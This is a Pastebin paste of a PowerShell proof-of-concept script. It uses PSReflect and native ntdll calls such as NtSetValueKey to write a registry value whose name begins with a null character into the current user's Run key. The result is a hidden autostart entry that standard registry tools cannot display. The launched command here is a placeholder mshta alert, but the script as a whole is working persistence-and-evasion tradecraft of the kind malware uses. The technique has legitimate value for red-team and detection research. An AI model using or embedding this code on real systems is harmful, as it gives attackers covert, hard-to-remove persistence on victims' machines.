Advertisement
Dr_FarFar

Full source of PSReflect-RegHide.ps1

Nov 12th, 2017
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # requires PSReflect.ps1 to be in the same directory as this script
  2. . .\PSReflect.ps1
  3.  
  4. $Module = New-InMemoryModule -ModuleName RegHide
  5. # Define our structs.
  6.  
  7. # https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx
  8. # typedef struct _UNICODE_STRING {
  9. #  USHORT Length;
  10. #  USHORT MaximumLength;
  11. #  PWSTR  Buffer;
  12. # }
  13. $UNICODE_STRING = struct $Module UNICODE_STRING @{
  14.    Length        = field 0 UInt16
  15.    MaximumLength = field 1 UInt16
  16.    Buffer        = field 2 IntPtr
  17. }
  18.  
  19. $OBJECT_ATTRIBUTES = struct $Module OBJECT_ATTRIBUTES @{
  20.    Length                   = field 0 UInt32
  21.    RootDirectory            = field 1 IntPtr
  22.    ObjectName               = field 2 IntPtr
  23.    Attributes               = field 3 UInt32
  24.    SecurityDescriptor       = field 4 IntPtr
  25.    SecurityQualityOfService = field 5 IntPtr
  26. }
  27.  
  28. # ACCESS_MASK enum used to determine key permissions, used by NtOpenKey.
  29. $KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{
  30.    KEY_QUERY_VALUE        = 0x0001
  31.    KEY_SET_VALUE          = 0x0002
  32.    KEY_CREATE_SUB_KEY     = 0x0004
  33.    KEY_ENUMERATE_SUB_KEYS = 0x0008
  34.    KEY_NOTIFY             = 0x0010
  35.    KEY_CREATE_LINK        = 0x0020
  36.    KEY_WOW64_64KEY        = 0x0100
  37.    KEY_WOW64_32KEY        = 0x0200
  38.    KEY_WRITE              = 0x20006
  39.    KEY_READ               = 0x20019
  40.    KEY_EXECUTE            = 0x20019
  41.    KEY_ALL_ACCESS         = 0xF003F
  42. } -Bitfield
  43.  
  44. # ATTRIBUTES enum passed to an OBJECT_ATTRIBUTES struct.
  45. $OBJ_ATTRIBUTE = psenum $Module OBJ_ATTRIBUTE UInt32 @{
  46.     OBJ_INHERIT            = 0x00000002
  47.     OBJ_PERMANENT          = 0x00000010
  48.     OBJ_EXCLUSIVE          = 0x00000020
  49.     OBJ_CASE_INSENSITIVE   = 0x00000040
  50.     OBJ_OPENIF             = 0x00000080
  51.     OBJ_OPENLINK           = 0x00000100
  52.     OBJ_KERNEL_HANDLE      = 0x00000200
  53.     OBJ_FORCE_ACCESS_CHECK = 0x00000400
  54.     OBJ_VALID_ATTRIBUTES   = 0x000007f2
  55. } -Bitfield
  56.  
  57.  
  58. # Function definitions, including parameters and Entrypoint names
  59. $FunctionDefinitions = @(
  60.   (func ntdll NtOpenKey ([UInt32]) @(
  61.         [IntPtr].MakeByRefType(),           #_Out_ PHANDLE KeyHandle,
  62.         [Int32],                            #_In_  ACCESS_MASK        DesiredAccess,
  63.         $OBJECT_ATTRIBUTES.MakeByRefType()  #_In_  POBJECT_ATTRIBUTES ObjectAttributes
  64.   ) -EntryPoint NtOpenKey),
  65.  
  66.   (func ntdll NtSetValueKey ([UInt32]) @(
  67.        [IntPtr],                        #_In_     HANDLE          KeyHandle,
  68.        $UNICODE_STRING.MakeByRefType(), #_In_     PUNICODE_STRING ValueName,
  69.        [Int32],                         #_In_opt_ ULONG           TitleIndex,
  70.        [Int32],                         #_In_     ULONG           Type,
  71.        [IntPtr],                        #_In_opt_ PVOID           Data,
  72.        [Int32]                          #_In_     ULONG           DataSize
  73.    ) -EntryPoint NtSetValueKey),
  74.  
  75.    (func ntdll NtDeleteValueKey ([UInt32]) @(
  76.         [IntPtr],                           #_In_ HANDLE KeyHandle,
  77.         $UNICODE_STRING.MakeByRefType()     #_In_ PUNICODE_STRING ValueName
  78.    ) -EntryPoint NtDeleteValueKey),
  79.  
  80.    (func ntdll NtClose ([UInt32]) @(
  81.        [IntPtr] #_In_      HANDLE          ObjectHandle
  82.    ) -EntryPoint NtClose),
  83.  
  84.   (func ntdll RtlInitUnicodeString ([void]) @(
  85.        $UNICODE_STRING.MakeByRefType(), #_Inout_  PUNICODE_STRING DestinationString
  86.        [string]                         #_In_opt_ PCWSTR          SourceString
  87.    ) -EntryPoint RtlInitUnicodeString)
  88. )
  89. $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide
  90. $ntdll = $Types['ntdll']
  91.  
  92.  
  93. $KeyHandle = [IntPtr]::Zero
  94. $DesiredAccess = $KEY_ACCESS::KEY_ALL_ACCESS
  95.  
  96. # To open the Current User’s registry hive, we need the user’s SID
  97. $SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
  98. $KeyName = "\Registry\User\$SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  99.  
  100. # We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING
  101. $KeyBuffer = [Activator]::CreateInstance($UNICODE_STRING)
  102. $ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName)
  103.  
  104. # Create our OBJECT_ATTRIBUTES structure
  105. # We don’t have the InitializeObjectAttributes macro, but we can do it manually
  106. $ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES)
  107. $ObjectAttributes.Length         = $OBJECT_ATTRIBUTES::GetSize()
  108. $ObjectAttributes.RootDirectory  = [IntPtr]::Zero
  109. $ObjectAttributes.Attributes     = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE
  110.  
  111. # Here, we need a pointer to the UNICODE_STRING we created previously.
  112. $ObjectAttributes.ObjectName     = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize())
  113. [System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true)
  114.  
  115. # These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro).
  116. $ObjectAttributes.SecurityDescriptor       = [IntPtr]::Zero
  117. $ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero
  118.  
  119. $status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes)
  120. "OpenKey status: 0x{0:x8}" -f $status
  121.  
  122. # Next, let's create our hidden value key and its data
  123. # Our hidden value key name will be "\0abcd" and its data will be an alert box that triggers
  124. # Note that the Null character in PowerShell is `0
  125. $ValueName = "`0abcd"
  126. $ValueData = "mshta javascript:alert(1)"
  127. $ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING)
  128. $ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING)
  129.  
  130. # Since RtlInitUnicodeString takes in a null-terminated string (and won't return the correct name),
  131. # we'll have to manually create the ValueName UNICODE_STRING.
  132. # Allocate enough space for 2-byte wide characters
  133. $ValueNameBuffer.Length        = $ValueName.Length * 2
  134. $ValueNameBuffer.MaximumLength = $ValueName.Length * 2
  135. $ValueNameBuffer.Buffer        = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName)
  136.  
  137. # ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString
  138. $ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData)
  139.  
  140. # Fill out the remaining parameters for NtSetValueKey
  141. $ValueType  = 0x00000001 # REG_SZ Value Type
  142. # "Device and intermediate drivers should set TitleIndex to zero."
  143. $TitleIndex = 0
  144.  
  145. $status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length)
  146. "SetValueKey status: 0x{0:x8}" -f $status
  147.  
  148. # uncomment these lines to clean up your registry key
  149. # $status = $ntdll::NtDeleteValueKey($KeyHandle, [ref]$ValueNameBuffer)
  150. # "DeleteValueKey status: 0x{0:x8}" -f $status
  151.  
  152. # Free the memory allocated after using AllocHGlobal
  153. [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ObjectAttributes.ObjectName)
  154.  
  155. # Close the handle to the key to clean up after we're done
  156. $status = $ntdll::NtClose($KeyHandle)
  157. "CloseKey status: 0x{0:x8}" -f $status
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement